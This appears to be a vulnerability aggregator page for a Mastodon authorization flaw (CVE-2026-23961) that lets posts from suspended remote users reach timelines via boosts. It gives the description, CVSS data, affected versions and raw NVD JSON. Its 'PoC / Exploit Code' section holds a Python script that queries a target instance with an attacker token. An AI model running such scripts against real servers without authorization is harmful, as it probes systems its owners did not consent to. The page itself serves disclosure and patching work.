Security Vulnerability Report
中文
CVE-2026-23961 CVSS 5.3 MEDIUM

CVE-2026-23961

Published: 2026-01-22 02:15:53
Last Modified: 2026-02-02 20:29:08

Description

Mastodon is a free, open-source social network server based on ActivityPub. Mastodon allows server administrators to suspend remote users to prevent interactions. However, some logic errors allow already-known posts from such suspended users to appear in timelines if boosted. Furthermore, under certain circumstances, previously-unknown posts from suspended users can be processed. This issue allows old posts from suspended users to occasionally end up on timelines on all Mastodon versions. Additionally, on Mastodon versions from v4.5.0 to v4.5.4, v4.4.5 to v4.4.11, v4.3.13 to v4.3.17, and v4.2.26 to v4.2.29, remote suspended users can partially bypass the suspension to get new posts in. Mastodon versions v4.5.5, v4.4.12, v4.3.18 are patched.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
Mastodon v4.2.26 - v4.2.29
Mastodon v4.3.13 - v4.3.17
Mastodon v4.4.5 - v4.4.11
Mastodon v4.5.0 - v4.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23961 PoC - Mastodon Suspended User Content Bypass # This PoC demonstrates how suspended user content can appear via boost import requests import json import time # Configuration TARGET_SERVER = "https://target-mastodon-instance.com" SUSPENDED_USER = "[email protected]" BOOSTER_USER = "[email protected]" ATTACKER_TOKEN = "your_attacker_bearer_token" def check_suspended_status(user): """Check if a user is suspended on target server""" response = requests.get( f"{TARGET_SERVER}/api/v1/accounts/lookup", params={"acct": user} ) if response.status_code == 200: data = response.json() return data.get("suspended", False) return False def get_user_posts(username): """Get posts from a user (including suspended)""" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} # Get user ID first lookup_resp = requests.get( f"{TARGET_SERVER}/api/v1/accounts/lookup", params={"acct": username}, headers=headers ) if lookup_resp.status_code != 200: return [] user_id = lookup_resp.json().get("id") # Get posts posts_resp = requests.get( f"{TARGET_SERVER}/api/v1/accounts/{user_id}/statuses", headers=headers ) return posts_resp.json() if posts_resp.status_code == 200 else [] def check_boost_in_timeline(post_id): """Check if a suspended user's boosted post appears in timeline""" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} timeline_resp = requests.get( f"{TARGET_SERVER}/api/v1/timelines/home", headers=headers ) if timeline_resp.status_code == 200: timeline = timeline_resp.json() for item in timeline: if item.get("reblog"): original = item["reblog"] if original.get("account", {}).get("acct") == SUSPENDED_USER: return True return False def main(): print(f"[*] Checking if {SUSPENDED_USER} is suspended...") is_suspended = check_suspended_status(SUSPENDED_USER) print(f"[*] Suspended status: {is_suspended}") print(f"[*] Getting posts from {SUSPENDED_USER}...") posts = get_user_posts(SUSPENDED_USER) print(f"[*] Found {len(posts)} posts") print(f"[*] Checking home timeline for boosted content...") found_boost = check_boost_in_timeline(posts[0]["id"] if posts else None) print(f"[*] Suspended user content in timeline: {found_boost}") if found_boost: print("[!] VULNERABLE: Suspended user content bypassed suspension via boost") return found_boost if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23961", "sourceIdentifier": "[email protected]", "published": "2026-01-22T02:15:52.780", "lastModified": "2026-02-02T20:29:07.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. Mastodon allows server administrators to suspend remote users to prevent interactions. However, some logic errors allow already-known posts from such suspended users to appear in timelines if boosted. Furthermore, under certain circumstances, previously-unknown posts from suspended users can be processed. This issue allows old posts from suspended users to occasionally end up on timelines on all Mastodon versions. Additionally, on Mastodon versions from v4.5.0 to v4.5.4, v4.4.5 to v4.4.11, v4.3.13 to v4.3.17, and v4.2.26 to v4.2.29, remote suspended users can partially bypass the suspension to get new posts in. Mastodon versions v4.5.5, v4.4.12, v4.3.18 are patched."}, {"lang": "es", "value": "Mastodon es un servidor de red social gratuito y de código abierto basado en ActivityPub. Mastodon permite a los administradores de servidor suspender usuarios remotos para evitar interacciones. Sin embargo, algunos errores de lógica permiten que haya publicaciones ya conocidas de dichos usuarios suspendidos que aparezcan en las líneas de tiempo si se promocionan. Además, bajo ciertas circunstancias, se pueden procesar publicaciones previamente desconocidas de usuarios suspendidos. Este problema permite que haya publicaciones antiguas de usuarios suspendidos que, ocasionalmente, terminen en las líneas de tiempo en todas las versiones de Mastodon. Adicionalmente, en las versiones de Mastodon desde la v4.5.0 hasta la v4.5.4, de la v4.4.5 hasta la v4.4.11, de la v4.3.13 hasta la v4.3.17, y de la v4.2.26 hasta la v4.2.29, los usuarios remotos suspendidos pueden evitar parcialmente la suspensión para introducir nuevas publicaciones. Las versiones de Mastodon v4.5.5, v4.4.12, v4.3.18 están parcheadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.18", "matchCriteriaId": "0ADDA491-E534-4DFB-856F-9D07F38F3A92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.12", "matchCriteriaId": "9BAA2A25-EE70-4B9F-8848-2CCE9C243077"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.5", "matchCriteriaId": "71845808-53CF-46D1-9A12-F14F1BAED488"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/releases/tag/v4.3.18", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/releases/tag/v4.4.12", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/releases/tag/v4.5.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-5h2f-wg8j-xqwp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}